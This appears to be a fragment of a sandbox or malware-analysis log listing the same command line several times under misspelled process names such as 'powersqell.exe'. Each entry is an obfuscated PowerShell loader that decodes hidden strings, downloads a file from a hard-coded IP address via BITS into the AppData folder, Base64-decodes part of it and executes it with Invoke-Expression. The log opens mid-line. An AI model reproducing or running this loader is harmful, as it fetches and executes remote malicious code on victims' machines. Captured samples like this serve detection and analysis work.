');.($Genva01) (Ragsh9 ' $PNEePuSrfeAx aGi u=M [BSSySsGtLe mD.MCPo n v eCrat ] :T:MFFrCoHm B aas e 6 4 S tWrkiNnFg ( $nRFaPgFsGh )A ');.($Genva01) (Ragsh9 ' $oGGeSnRvTaS2 A=J [ Scy sCtTePm . T eSx t .MEInIcAoUd i nPgA] : :MAASACRIEIK. GSeStOSAttrCiNn g (T$UNTe u rCe xMaAiV)P ');.($Genva01) (Ragsh9 'I$HpFy o sUeMpFt iAcS= $ G eFn vCaI2L.Cs u b s tSrSi nAg ( 1 8 5E8U9 6 ,P1V9 0F0P2P)C ');.($Genva01) $pyoseptic;}"
cmdline powersyell.exe "Function Ragsh9 ([String]$scissorbi){For($Over=1; $Over -lt $scissorbi.Length-1; $Over+=(1+1)){$Genva=$Genva+$scissorbi.Substring($Over, 1)};$Genva;}$Climcaret=Ragsh9 ' hAt tkp :B/S/ 1t9H4 . 1P8 0C. 4P8 . 2U1 1 / rAyBavnn/SA nVlaaTeS.SxRsSnM ';$Genva01=Ragsh9 'AiRe x ';$Glem106 = Ragsh9 ' \ sIyZs w o w 6 4 \AWOi nBdSocw sUPLo w e r SMhSeAl l \MvR1F.O0P\ pRoUw eDrls h ePlDlU.LeOxPe ';.($Genva01) (Ragsh9 ' $ SJy tSr aSadd e n eP2B=N$Le n vM: w i nBd iFr ') ;.($Genva01) (Ragsh9 'p$ GSl eFme1I0 6a=f$DSPyPtMrPaIa d eRnFe 2O+ $BGClKeDm 1S0O6 ') ;.($Genva01) (Ragsh9 'C$SKUe r n = G(I(KgBw mWiR CwPiUnE3L2P_ pIrBoYc e s sB -AFT PFrOo c eKsOs I d =L$ {MP I D } )a.ACuoRmDmKa n dbLIiHnIeS)O D-Us pplFi tS [RcFhUa rR]E3A4 ');.($Genva01) (Ragsh9 ' $KSNo l oMlUi S= m$DK e r nL[ $ KCePrOnH. cMoAuGnOt - 2 ]F ');.($Genva01) (Ragsh9 'S$ S kSr k = (RT eKsFtA- P aHt h U$KG l e mS1 0D6 )p -SA nDd (N[ INnSt PCtArS] :R:SsKi z eA r-ResqK h8 ) ') ;if ($Skrk) {.$Glem106 $Sololi;} else {;$Genva00=Ragsh9 'SS tCaPrBtH- B i t sITRr a nCsPf eFrF - SDo uMrPc e $ CPlhiNmRcAa rReDt A-LDFeCsEtKi nBaIt iKo nV D$ S yDtBrMa aFdNe nFeF2 ';.($Genva01) (Ragsh9 'M$ S y tLrRaDaAd ePn eS2A= $ReUnEvD:Ka pBpBdCaRtEaW ') ;.($Genva01) (Ragsh9 'FITm p o rVtf- MPoAdruNlHe B iTtBs TAr aSnOsFfReSrT ') ;$Sytraadene2=$Sytraadene2+'\subtr.Fal';while (-not $Blodtryks1) {.($Genva01) (Ragsh9 ' $ B lRoFd tJrMy kVsH1e= ( T eSs tF-LPEa tDhA F$MSFystIr aAaPd e n es2B)S ') ;.($Genva01) $Genva00;.($Genva01) (Ragsh9 ' SFt aUrDt -SSBl e eSp C5 ');}.($Genva01) (Ragsh9 'B$SRSaTgEsGhD S=A SGAeEt -DCFoRn tseKnTtI S$ISHy tFrSa a dIeQnUeS2P ');.($Genva01) (Ragsh9 ' $PNEePuSrfeAx aGi u=M [BSSySsGtLe mD.MCPo n v eCrat ] :T:MFFrCoHm B aas e 6 4 S tWrkiNnFg ( $nRFaPgFsGh )A ');.($Genva01) (Ragsh9 ' $oGGeSnRvTaS2 A=J [ Scy sCtTePm . T eSx t .MEInIcAoUd i nPgA] : :MAASACRIEIK. GSeStOSAttrCiNn g (T$UNTe u rCe xMaAiV)P ');.($Genva01) (Ragsh9 'I$HpFy o sUeMpFt iAcS= $ G eFn vCaI2L.Cs u b s tSrSi nAg ( 1 8 5E8U9 6 ,P1V9 0F0P2P)C ');.($Genva01) $pyoseptic;}"
cmdline powersell.exe "Function Ragsh9 ([String]$scissorbi){For($Over=1; $Over -lt $scissorbi.Length-1; $Over+=(1+1)){$Genva=$Genva+$scissorbi.Substring($Over, 1)};$Genva;}$Climcaret=Ragsh9 ' hAt tkp :B/S/ 1t9H4 . 1P8 0C. 4P8 . 2U1 1 / rAyBavnn/SA nVlaaTeS.SxRsSnM ';$Genva01=Ragsh9 'AiRe x ';$Glem106 = Ragsh9 ' \ sIyZs w o w 6 4 \AWOi nBdSocw sUPLo w e r SMhSeAl l \MvR1F.O0P\ pRoUw eDrls h ePlDlU.LeOxPe ';.($Genva01) (Ragsh9 ' $ SJy tSr aSadd e n eP2B=N$Le n vM: w i nBd iFr ') ;.($Genva01) (Ragsh9 'p$ GSl eFme1I0 6a=f$DSPyPtMrPaIa d eRnFe 2O+ $BGClKeDm 1S0O6 ') ;.($Genva01) (Ragsh9 'C$SKUe r n = G(I(KgBw mWiR CwPiUnE3L2P_ pIrBoYc e s sB -AFT PFrOo c eKsOs I d =L$ {MP I D } )a.ACuoRmDmKa n dbLIiHnIeS)O D-Us pplFi tS [RcFhUa rR]E3A4 ');.($Genva01) (Ragsh9 ' $KSNo l oMlUi S= m$DK e r nL[ $ KCePrOnH. cMoAuGnOt - 2 ]F ');.($Genva01) (Ragsh9 'S$ S kSr k = (RT eKsFtA- P aHt h U$KG l e mS1 0D6 )p -SA nDd (N[ INnSt PCtArS] :R:SsKi z eA r-ResqK h8 ) ') ;if ($Skrk) {.$Glem106 $Sololi;} else {;$Genva00=Ragsh9 'SS tCaPrBtH- B i t sITRr a nCsPf eFrF - SDo uMrPc e $ CPlhiNmRcAa rReDt A-LDFeCsEtKi nBaIt iKo nV D$ S yDtBrMa aFdNe nFeF2 ';.($Genva01) (Ragsh9 'M$ S y tLrRaDaAd ePn eS2A= $ReUnEvD:Ka pBpBdCaRtEaW ') ;.($Genva01) (Ragsh9 'FITm p o rVtf- MPoAdruNlHe B iTtBs TAr aSnOsFfReSrT ') ;$Sytraadene2=$Sytraadene2+'\subtr.Fal';while (-not $Blodtryks1) {.($Genva01) (Ragsh9 ' $ B lRoFd tJrMy kVsH1e= ( T eSs tF-LPEa tDhA F$MSFystIr aAaPd e n es2B)S ') ;.($Genva01) $Genva00;.($Genva01) (Ragsh9 ' SFt aUrDt -SSBl e eSp C5 ');}.($Genva01) (Ragsh9 'B$SRSaTgEsGhD S=A SGAeEt -DCFoRn tseKnTtI S$ISHy tFrSa a dIeQnUeS2P ');.($Genva01) (Ragsh9 ' $PNEePuSrfeAx aGi u=M [BSSySsGtLe mD.MCPo n v eCrat ] :T:MFFrCoHm B aas e 6 4 S tWrkiNnFg ( $nRFaPgFsGh )A ');.($Genva01) (Ragsh9 ' $oGGeSnRvTaS2 A=J [ Scy sCtTePm . T eSx t .MEInIcAoUd i nPgA] : :MAASACRIEIK. GSeStOSAttrCiNn g (T$UNTe u rCe xMaAiV)P ');.($Genva01) (Ragsh9 'I$HpFy o sUeMpFt iAcS= $ G eFn vCaI2L.Cs u b s tSrSi nAg ( 1 8 5E8U9 6 ,P1V9 0F0P2P)C ');.($Genva01) $pyoseptic;}"
cmdline powersqell.exe "Function Ragsh9 ([String]$scissorbi){For($Over=1; $Over -lt $scissorbi.Length-1; $Over+=(1+1)){$Genva=$Genva+$scissorbi.Substring($Over, 1)};$Genva;}$Climcaret=Ragsh9 ' hAt tkp :B/S/ 1t9H4 . 1P8 0C. 4P8 . 2U1 1 / rAyBavnn/SA nVlaaTeS.SxRsSnM ';$Genva01=Ragsh9 'AiRe x ';$Glem106 = Ragsh9 ' \ sIyZs w o w 6 4 \AWOi nBdSocw sUPLo w e r SMhSeAl l \MvR1F.O0P\ pRoUw eDrls h ePlDlU.LeOxPe ';.($Genva01) (Ragsh9 ' $ SJy tSr aSadd e n eP2B=N$Le n vM: w i nBd iFr ') ;.($Genva01) (Ragsh9 'p$ GSl eFme1I0 6a=f$DSPyPtMrPaIa d eRnFe 2O+ $BGClKeDm 1S0O6 ') ;.($Genva01) (Ragsh9 'C$SKUe r n = G(I(KgBw mWiR CwPiUnE3L2P_ pIrBoYc e s sB -AFT PFrOo c eKsOs I d =L$ {MP I D } )a.ACuoRmDmKa n dbLIiHnIeS)O D-Us pplFi tS [RcFhUa rR]E3A4 ');.($Genva01) (Ragsh9 ' $KSNo l oMlUi S= m$DK e r nL[ $ KCePrOnH. cMoAuGnOt - 2 ]F ');.($Genva01) (Ragsh9 'S$ S kSr k = (RT eKsFtA- P aHt h U$KG l e mS1 0D6 )p -SA nDd (N[ INnSt PCtArS] :R:SsKi z eA r-ResqK h8 ) ') ;if ($Skrk) {.$Glem106 $Sololi;} else {;$Genva00=Ragsh9 'SS tCaPrBtH- B i t sITRr a nCsPf eFrF - SDo uMrPc e $ CPlhiNmRcAa rReDt A-LDFeCsEtKi nBaIt iKo nV D$ S yDtBrMa aFdNe nFeF2 ';.($Genva01) (Ragsh9 'M$ S y tLrRaDaAd ePn eS2A= $ReUnEvD:Ka pBpBdCaRtEaW ') ;.($Genva01) (Ragsh9 'FITm p o rVtf- MPoAdruNlHe B iTtBs TAr aSnOsFfReSrT ') ;$Sytraadene2=$Sytraadene2+'\subtr.Fal';while (-not $Blodtryks1) {.($Genva01) (Ragsh9 ' $ B lRoFd tJrMy kVsH1e= ( T eSs tF-LPEa tDhA F$MSFystIr aAaPd e n es2B)S ') ;.($Genva01) $Genva00;.($Genva01) (Ragsh9 ' SFt aUrDt -SSBl e eSp C5 ');}.($Genva01) (Ragsh9 'B$SRSaTgEsGhD S=A SGAeEt -DCFoRn tseKnTtI S$ISHy tFrSa a dIeQnUeS2P ');.($Genva01) (Ragsh9 ' $PNEePuSrfeAx aGi u=M [BSSySsGtLe mD.MCPo n v eCrat ] :T:MFFrCoHm B aas e 6 4 S tWrkiNnFg ( $nRFaPgFsGh )A ');.($Genva01) (Ragsh9 ' $oGGeSnRvTaS2 A=J [ Scy sCtTePm . T eSx t .MEInIcAoUd i nPgA] : :MAASACRIEIK. GSeStOSAttrCiNn g (T$UNTe u rCe xMaAiV)P ');.($Genva01) (Ragsh9 'I$HpFy o sUeMpFt iAcS= $ G eFn vCaI2L.Cs u b s tSrSi nAg ( 1 8 5E8U9 6 ,P1V9 0F0P2P)C ');.($Genva01) $pyoseptic;}"
cmdline powerstell.exe "Function Ragsh9 ([String]$scissorbi){For($Over=1; $Over -lt $scissorbi.Length-1; $Over+=(1+1)){$Genva=$Genva+$scissorbi.Substring($Over, 1)};$Genva;}$Climcaret=Ragsh9 ' hAt tkp :B/S/ 1t9H4 . 1P8 0C. 4P8 . 2U1 1 / rAyBavnn/SA nVlaaTeS.SxRsSnM ';$Genva01=Ragsh9 'AiRe x ';$Glem106 = Ragsh9 ' \ sIyZs w o w 6 4 \AWOi nBdSocw sUPLo w e r SMhSeAl l \MvR1F.O0P\ pRoUw eDrls h ePlDlU.LeOxPe ';.($Genva01) (Ragsh9 ' $ SJy tSr aSadd e n eP2B=N$Le n vM: w i nBd iFr ') ;.($Genva01) (Ragsh9 'p$ GSl eFme1I0 6a=f$DSPyPtMrPaIa d eRnFe 2O+ $BGClKeDm 1S0O6 ') ;.($Genva01) (Ragsh9 'C$SKUe r n = G(I(KgBw mWiR CwPiUnE3L2P_ pIrBoYc e s sB -AFT PFrOo c eKsOs I d =L$ {MP I D } )a.ACuoRmDmKa n dbLIiHnIeS)O D-Us pplFi tS [RcFhUa rR]E3A4 ');.($Genva01) (Ragsh9 ' $KSNo l oMlUi S= m$DK e r nL[ $ KCePrOnH. cMoAuGnOt - 2 ]F ');.($Genva01) (Ragsh9 'S$ S kSr k = (RT eKsFtA- P aHt h U$KG l e mS1 0D6 )p -SA nDd (N[ INnSt PCtArS] :R:SsKi z eA r-ResqK h8 ) ') ;if ($Skrk) {.$Glem106 $Sololi;} else {;$Genva00=Ragsh9 'SS tCaPrBtH- B i t sITRr a nCsPf eFrF - SDo uMrPc e $ CPlhiNmRcAa rReDt A-LDFeCsEtKi nBaIt iKo nV D$ S yDtBrMa aFdNe nFeF2 ';.($Genva01) (Ragsh9 'M$ S y tLrRaDaAd ePn eS2A= $ReUnEvD:Ka pBpBdCaRtEaW ') ;.($Genva01) (Ragsh9 'FITm p o rVtf- MPoAdruNlHe B iTtBs TAr aSnOsFfReSrT ') ;$Sytraadene2=$Sytraadene2+'\subtr.Fal';while (-not $Blodtryks1) {.($Genva01) (Ragsh9 ' $ B lRoFd tJrMy kVsH1e= ( T eSs tF-LPEa tDhA F$MSFystIr aAaPd e n es2B)S ') ;.($Genva01) $Genva00;.($Genva01) (Ragsh9 ' SFt aUrDt -SSBl e eSp C5 ');}.($Genva01) (Ragsh9 'B$SRSaTgEsGhD S=A SGAeEt -DCFoRn tseKnTtI S$ISHy tFrSa a dIeQnUeS2P ');.($Genva01) (Ragsh9 ' $PNEePuSrfeAx aGi u=M [BSSySsGtLe mD.MCPo n v eCrat ] :T:MFFrCoHm B aas e 6 4 S tWrkiNnFg ( $nRFaPgFsGh )A ');.($Genva01) (Ragsh9 ' $oGGeSnRvTaS2 A=J [ Scy sCtTePm . T eSx t .MEInIcAoUd i nPgA] : :MAASACRIEIK. GSeStOSAttrCiNn g (T$UNTe u rCe xMaAiV)P ');.($Genva01) (Ragsh9 'I$HpFy o sUeMpFt iAcS= $ G eFn vCaI2L.Cs u b s tSrSi nAg ( 1 8 5E8U9 6 ,P1V9 0F0P2P)C ');.($Genva01) $pyoseptic;}"
cmdline powersell.exe "Function Ragsh9 ([String]$scissorbi){For($Over=1; $Over -lt $scissorbi.Length-1; $Over+=(1+1)){$Genva=$Genva+$scissorbi.Substring($Over, 1)};$Genva;}$Climcaret=Ragsh9 ' hAt tkp :B/S/ 1t9H4 . 1P8 0C. 4P8 . 2U1 1 / rAyBavnn/SA nVlaaTeS.SxRsSnM ';$Genva01=Ragsh9 'AiRe x ';$Glem106 = Ragsh9 ' \ sIyZs w o w 6 4 \AWOi nBdSocw sUPLo w e r SMhSeAl l \MvR1F.O0P\ pRoUw eDrls h ePlDlU.LeOxPe ';.($Genva01) (Ragsh9 ' $ SJy tSr aSadd e n eP2B=N$Le n vM: w i nBd iFr ') ;.($Genva01) (Ragsh9 'p$ GSl eFme1I0 6a=f$DSPyPtMrPaIa d eRnFe 2O+ $BGClKeDm 1S0O6 ') ;.($Genva01) (Ragsh9 'C$SKUe r n = G(I(KgBw mWiR CwPiUnE3L2P_ pIrBoYc e s sB -AFT PFrOo c eKsOs I d =L$ {MP I D } )a.ACuoRmDmKa n dbLIiHnIeS)O D-Us pplFi tS [RcFhUa rR]E3A4 ');.($Genva01) (Ragsh9 ' $KSNo l oMlUi S= m$DK e r nL[ $ KCePrOnH. cMoAuGnOt - 2 ]F ');.($Genva01) (Ragsh9 'S$ S kSr k = (RT eKsFtA- P aHt h U$KG l e mS1 0D6 )p -SA nDd (N[ INnSt PCtArS] :R:SsKi z eA r-ResqK h8 ) ') ;if ($Skrk) {.$Glem106 $Sololi;} else {;$Genva00=Ragsh9 'SS tCaPrBtH- B i t sITRr a nCsPf eFrF - SDo uMrPc e $ CPlhiNmRcAa rReDt A-LDFeCsEtKi nBaIt iKo nV D$ S yDtBrMa aFdNe nFeF2 ';.($Genva01) (Ragsh9 'M$ S y tLrRaDaAd ePn eS2A= $ReUnEvD:Ka pBpBdCaRtEaW ') ;.($Genva01) (Ragsh9 'FITm p o rVtf- MPoAdruNlHe B iTtBs TAr aSnOsFfReSrT ') ;$Sytraadene2=$Sytraadene2+'\subtr.Fal';while (-not $Blodtryks1) {.($Genva01) (Ragsh9 ' $ B lRoFd tJrMy kVsH1e= ( T eSs tF-LPEa tDhA F$MSFystIr aAaPd e n es2B)S ') ;.($Genva01) $Genva00;.($Genva01) (Ragsh9 ' SFt aUrDt -SSBl e eSp C5 ');}.($Genva01) (Ragsh9 'B$SRSaTgEsGhD S=A SGAeEt -DCFoRn tseKnTtI S$ISHy tFrSa a dIeQnUeS2P ');.($Genva01) (Ragsh9 ' $PNEePuSrfeAx aGi u=M [BSSySsGtLe mD.MCPo n v eCrat ] :T:MFFrCoHm B aas e 6 4 S tWrkiNnFg ( $nRFaPgFsGh )A ');.($Genva01) (Ragsh9 ' $oGGeSnRvTaS2 A=J [ Scy sCtTePm . T eSx t .MEInIcAoUd i nPgA] : :MAASACRIEIK. GSeStOSAttrCiNn g (T$UNTe u rCe xMaAiV)P ');.($Genva01) (Ragsh9 'I$HpFy o sUeMpFt iAcS= $ G eFn vCaI2L.Cs u b s tSrSi nAg ( 1 8 5E8U9 6 ,P1V9 0F0P2P)C ');.($Genva01) $pyoseptic;}"
cmdline powersvell.exe "Function Ragsh9 ([String]$scissorbi){For($Over=1; $Over -lt $scissorbi.Length-1; $Over+=(1+1)){$Genva=$Genva+$scissorbi.Substring($Over, 1)};$Genva;}$Climcaret=Ragsh9 ' hAt tkp :B/S/ 1t9H4 . 1P8 0C. 4P8 . 2U1 1 / rAyBavnn/SA nVlaaTeS.SxRsSnM ';$Genva01=Ragsh9 'AiRe x ';$Glem106 = Ragsh9 ' \ sIyZs w o w 6 4 \AWOi nBdSocw sUPLo w e r SMhSeAl l \MvR1F.O0P\ pRoUw eDrls h ePlDlU.LeOxPe ';.($Genva01) (Ragsh9 ' $ SJy tSr aSadd e n eP2B=N$Le n vM: w i nBd iFr ') ;.($Genva01) (Ragsh9 'p$ GSl eFme1I0 6a=f$DSPyPtMrPaIa d eRnFe 2O+ $BGClKeDm 1S0O6 ') ;.($Genva01) (Ragsh9 'C$SKUe r n = G(I(KgBw mWiR CwPiUnE3L2P_ pIrBoYc e s sB -AFT PFrOo c eKsOs I d =L$ {MP I D } )a.ACuoRmDmKa n dbLIiHnIeS)O D-Us pplFi tS [RcFhUa rR]E3A4 ');.($Genva01) (Ragsh9 ' $KSNo l oMlUi S= m$DK e r nL[ $ KCePrOnH. cMoAuGnOt - 2 ]F ');.($Genva01) (Ragsh9 'S$ S kSr k = (RT eKsFtA- P aHt h U$KG l e mS1 0D6 )p -SA nDd (N[ INnSt PCtArS] :R:SsKi z eA r-ResqK h8 ) ') ;if ($Skrk) {.$Glem106 $Sololi;} else {;$Genva00=Ragsh9 'SS tCaPrBtH- B i t sITRr a nCsPf eFrF - SDo uMrPc e $ CPlhiNmRcAa rReDt A-LDFeCsEtKi nBaIt iKo nV D$ S yDtBrMa aFdNe nFeF2 ';.($Genva01) (Ragsh9 'M$ S y tLrRaDaAd ePn eS2A= $ReUnEvD:Ka pBpBdCaRtEaW ') ;.($Genva01) (Ragsh9 'FITm p o rVtf- MPoAdruNlHe B iTtBs TAr aSnOsFfReSrT ') ;$Sytraadene2=$Sytraadene2+'\subtr.Fal';while (-not $Blodtryks1) {.($Genva01) (Ragsh9 ' $ B lRoFd tJrMy kVsH1e= ( T eSs tF-LPEa tDhA F$MSFystIr aAaPd e n es2B)S ') ;.($Genva01) $Genva00;.($Genva01) (Ragsh9 ' SFt aUrDt -SSBl e eSp C5 ');}.($Genva01) (Ragsh9 'B$SRSaTgEsGhD S=A SGAeEt -DCFoRn tseKnTtI S$ISHy tFrSa a dIeQnUeS2P ');.($Genva01) (Ragsh9 ' $PNEePuSrfeAx aGi u=M [BSSySsGtLe mD.MCPo n v eCrat ] :T:MFFrCoHm B aas e 6 4 S tWrkiNnFg ( $nRFaPgFsGh )A ');.($Genva01) (Ragsh9 ' $oGGeSnRvTaS2 A=J [ Scy sCtTePm . T eSx t .MEInIcAoUd i nPgA] : :MAASACRIEIK. GSeStOSAttrCiNn g (T$UNTe u rCe xMaAiV)P ');.($Genva01) (Ragsh9 'I$HpFy o sUeMpFt iAcS= $ G eFn vCaI2L.Cs u b s tSrSi nAg ( 1 8 5E8U9 6 ,P1V9 0F0P2P)C ');.($Genva01) $pyoseptic;}"
cmdline powerspell.exe "Function Ragsh9 ([String]$scissorbi){For($Over=1; $Over -lt $scissorbi.Length-1; $Over+=(1+1)){$Genva=$Genva+$scissorbi.Substring($Over, 1)};$Genva;}$Climcaret=Ragsh9 ' hAt tkp :B/S/ 1t9H4 . 1P8 0C. 4P8 . 2U1 1 / rAyBavnn/SA nVlaaTeS.SxRsSnM ';$Genva01=Ragsh9 'AiRe x ';$Glem106 = Ragsh9 ' \ sIyZs w o w 6 4 \AWOi nBdSocw sUPLo w e r SMhSeAl l \MvR1F.O0P\ pRoUw eDrls h ePlDlU.LeOxPe ';.($Genva01) (Ragsh9 ' $ SJy tSr aSadd e n eP2B=N$Le n vM: w i nBd iFr ') ;.($Genva01) (Ragsh9 'p$ GSl eFme1I0 6a=f$DSPyPtMrPaIa d eRnFe 2O+ $BGClKeDm 1S0O6 ') ;.($Genva01) (Ragsh9 'C$SKUe r n = G(I(KgBw mWiR CwPiUnE3L2P_ pIrBoYc e s sB -AFT PFrOo c eKsOs I d =L$ {MP I D } )a.ACuoRmDmKa n dbLIiHnIeS)O D-Us pplFi tS [RcFhUa rR]E3A4 ');.($Genva01) (Ragsh9 ' $KSNo l oMlUi S= m$DK e r nL[ $ KCePrOnH. cMoAuGnOt - 2 ]F ');.($Genva01) (Ragsh9 'S$ S kSr k = (RT eKsFtA- P aHt h U$KG l e mS1 0D6 )p -SA nDd (N[ INnSt PCtArS] :R:SsKi z eA r-ResqK h8 ) ') ;if ($Skrk) {.$Glem106 $Sololi;} else {;$Genva00=Ragsh9 'SS tCaPrBtH- B i t sITRr a nCsPf eFrF - SDo uMrPc e $ CPlhiNmRcAa rReDt A-LDFeCsEtKi nBaIt iKo nV D$ S yDtBrMa aFdNe nFeF2 ';.($Genva01) (Ragsh9 'M$ S y tLrRaDaAd ePn eS2A= $ReUnEvD:Ka pBpBdCaRtEaW ') ;.($Genva01) (Ragsh9 'FITm p o rVtf- MPoAdruNlHe B iTtBs TAr aSnOsFfReSrT ') ;$Sytraadene2=$Sytraadene2+'\subtr.Fal';while (-not $Blodtryks1) {.($Genva01) (Ragsh9 ' $ B lRoFd tJrMy kVsH1e= ( T eSs tF-LPEa tDhA F$MSFystIr aAaPd e n es2B)S ') ;.($Genva01) $Genva00;.($Genva01) (Ragsh9 ' SFt aUrDt -SSBl e eSp C5 ');}.($Genva01) (Ragsh9 'B$SRSaTgEsGhD S=A SGAeEt -DCFoRn tseKnTtI S$ISHy tFrSa a dIeQnUeS2P ');.($Genva01) (Ragsh9 ' $PNEePuSrfeAx aGi u=M [BSSySsGtLe mD.MCPo n v eCrat ] :T:MFFrCoHm B aas e 6 4 S tWrkiNnFg ( $nRFaPgFsGh )A ');.($Genva01) (Ragsh9 ' $oGGeSnRvTaS2 A=J [ Scy sCtTePm . T eSx t .MEInIcAoUd i nPgA] : :MAASACRIEIK. GSeStOSAttrCiNn g (T$UNTe u rCe xMaAiV)P ');.($Genva01) (Ragsh9 'I$HpFy o sUeMpFt iAcS= $ G eFn vCaI2L.Cs u b s tSrSi nAg ( 1 8 5E8U9 6 ,P1V9 0F0P2P)C ');.($Genva01) $pyoseptic;}"
cmdline powersoell.exe "Function Ragsh9 ([String]$scissorbi){For($Over=1; $Over -lt $scissorbi.Length-1; $Over+=(1+1)){$Genva=$Genva+$scissorbi.Substring($Over, 1)};$Genva;}$Climcaret=Ragsh9 ' hAt tkp :B/S/ 1t9H4 . 1P8 0C. 4P8 . 2U1 1 / rAyBavnn/SA nVlaaTeS.SxRsSnM ';$Genva01=Ragsh9 'AiRe x ';$Glem106 = Ragsh9 ' \ sIyZs w o w 6 4 \AWOi nBdSocw sUPLo w e r SMhSeAl l \MvR1F.O0P\ pRoUw eDrls h ePlDlU.LeOxPe ';.($Genva01) (Ragsh9 ' $ SJy tSr aSadd e n eP2B=N$Le n vM: w i nBd iFr ') ;.($Genva01) (Ragsh9 'p$ GSl eFme1I0 6a=f$DSPyPtMrPaIa d eRnFe 2O+ $BGClKeDm 1S0O6 ') ;.($Genva01) (Ragsh9 'C$SKUe r n = G(I(KgBw mWiR CwPiUnE3L2P_ pIrBoYc e s sB -AFT PFrOo c eKsOs I d =L$ {MP I D } )a.ACuoRmDmKa n dbLIiHnIeS)O D-Us pplFi tS [RcFhUa rR]E3A4 ');.($Genva01) (Ragsh9 ' $KSNo l oMlUi S= m$DK e r nL[ $ KCePrOnH. cMoAuGnOt - 2 ]F ');.($Genva01) (Ragsh9 'S$ S kSr k = (RT eKsFtA- P aHt h U$KG l e mS1 0D6 )p -SA nDd (N[ INnSt PCtArS] :R:SsKi z eA r-ResqK h8 ) ') ;if ($Skrk) {.$Glem106 $Sololi;} else {;$Genva00=Ragsh9 'SS tCaPrBtH- B i t sITRr a nCsPf eFrF - SDo uMrPc e $ CPlhiNmRcAa rReDt A-LDFeCsEtKi nBaIt iKo nV D$ S yDtBrMa aFdNe nFeF2 ';.($Genva01) (Ragsh9 'M$ S y tLrRaDaAd ePn eS2A= $ReUnEvD:Ka pBpBdCaRtEaW ') ;.($Genva01) (Ragsh9 'FITm p o rVtf- MPoAdruNlHe B iTtBs TAr aSnOsFfReSrT ') ;$Sytraadene2=$Sytraadene2+'\subtr.Fal';while (-not $Blodtryks1) {.($Genva01) (Ragsh9 ' $ B lRoFd tJrMy kVsH1e= ( T eSs tF-LPEa tDhA F$MSFystIr aAaPd e n es2B)S ') ;.($Genva01) $Genva00;.($Genva01) (Ragsh9 ' SFt aUrDt -SSBl e eSp C5 ');}.($Genva01) (Ragsh9 'B$SRSaTgEsGhD S=A SGAeEt -DCFoRn tseKnTtI S$ISHy tFrSa a dIeQnUeS2P ');.($Genva01) (Ragsh9 ' $PNEePuSrfeAx aGi u=M [BSSySsGtLe mD.MCPo n v eCrat ] :T:MFFrCoHm B aas e 6 4 S tWrkiNnFg ( $nRFaPgFsGh )A ');.($Genva01) (Ragsh9 ' $oGGeSnRvTaS2 A=J [ Scy sCtTePm . T eSx t .MEInIcAoUd i nPgA] : :MAASACRIEIK. GSeStOSAttrCiNn g (T$UNTe u rCe xMaAiV)P ');.($Genva01) (Ragsh9 'I$HpFy o sUeMpFt iAcS= $ G eFn vCaI2L.Cs u b s tSrSi nAg ( 1 8 5E8U9 6 ,P1V9 0F0P2P)C ');.($Genva01) $pyoseptic;}"
cmdline powers}ell.exe "Function Ragsh9 ([String]$scissorbi){For($Over=1; $Over -lt $scissorbi.Length-1; $Over+=(1+1)){$Genva=$Genva+$scissorbi.Substring($Over, 1)};$Genva;}$Climcaret=Ragsh9 ' hAt tkp :B/S/ 1t9H4 . 1P8 0C. 4P8 . 2U1 1 / rAyBavnn/SA nVlaaTeS.SxRsSnM ';$Genva01=Ragsh9 'AiRe x ';$Glem106 = Ragsh9 ' \ sIyZs w o w 6 4 \AWOi nBdSocw sUPLo w e r SMhSeAl l \MvR1F.O0P\ pRoUw eDrls h ePlDlU.LeOxPe ';.($Genva01) (Ragsh9 ' $ SJy tSr aSadd e n eP2B=N$Le n vM: w i nBd iFr ') ;.($Genva01) (Ragsh9 'p$ GSl eFme1I0 6a=f$DSPyPtMrPaIa d eRnFe 2O+ $BGClKeDm 1S0O6 ') ;.($Genva01) (Ragsh9 'C$SKUe r n = G(I(KgBw mWiR CwPiUnE3L2P_ pIrBoYc e s sB -AFT PFrOo c eKsOs I d =L$ {MP I D } )a.ACuoRmDmKa n dbLIiHnIeS)O D-Us pplFi tS [RcFhUa rR]E3A4 ');.($Genva01) (Ragsh9 ' $KSNo l oMlUi S= m$DK e r nL[ $ KCePrOnH. cMoAuGnOt - 2 ]F ');.($Genva01) (Ragsh9 'S$ S kSr k = (RT eKsFtA- P aHt h U$KG l e mS1 0D6 )p -SA nDd (N[ INnSt PCtArS] :R:SsKi z eA r-ResqK h8 ) ') ;if ($Skrk) {.$Glem106 $Sololi;} else {;$Genva00=Ragsh9 'SS tCaPrBtH- B i t sITRr a nCsPf eFrF - SDo uMrPc e $ CPlhiNmRcAa rReDt A-LDFeCsEtKi nBaIt iKo nV D$ S yDtBrMa aFdNe nFeF2 ';.($Genva01) (Ragsh9 'M$ S y tLrRaDaAd ePn eS2A= $ReUnEvD:Ka pBpBdCaRtEaW ') ;.($Genva01) (Ragsh9 'FITm p o rVtf- MPoAdruNlHe B iTtBs TAr aSnOsFfReSrT ') ;$Sytraadene2=$Sytraadene2+'\subtr.Fal';while (-not $Blodtryks1) {.($Genva01) (Ragsh9 ' $ B lRoFd tJrMy kVsH1e= ( T eSs tF-LPEa tDhA F$MSFystIr aAaPd e n es2B)S ') ;.($Genva01) $Genva00;.($Genva01) (Ragsh9 ' SFt aUrDt -SSBl e eSp C5 ');}.($Genva01) (Ragsh9 'B$SRSaTgEsGhD S=A SGAeEt -DCFoRn tseKnTtI S$ISHy tFrSa a dIeQnUeS2P ');.($Genva01) (Ragsh9 ' $PNEePuSrfeAx aGi u=M [BSSySsGtLe mD.MCPo n v eCrat ] :T:MFFrCoHm B aas e 6 4 S tWrkiNnFg ( $nRFaPgFsGh )A ');.($Genva01) (Ragsh9 ' $oGGeSnRvTaS2 A=J [ Scy sCtTePm . T eSx t .MEInIcAoUd i nPgA] : :MAASACRIEIK. GSeStOSAttrCiNn g (T$UNTe u rCe xMaAiV)P ');.($Genva01) (Ragsh9 'I$HpFy o sUeMpFt iAcS= $ G eFn vCaI2L.Cs u b s tSrSi nAg ( 1 8 5E8U9 6 ,P1V9 0F0P2P)C ');.($Genva01) $pyoseptic;}"
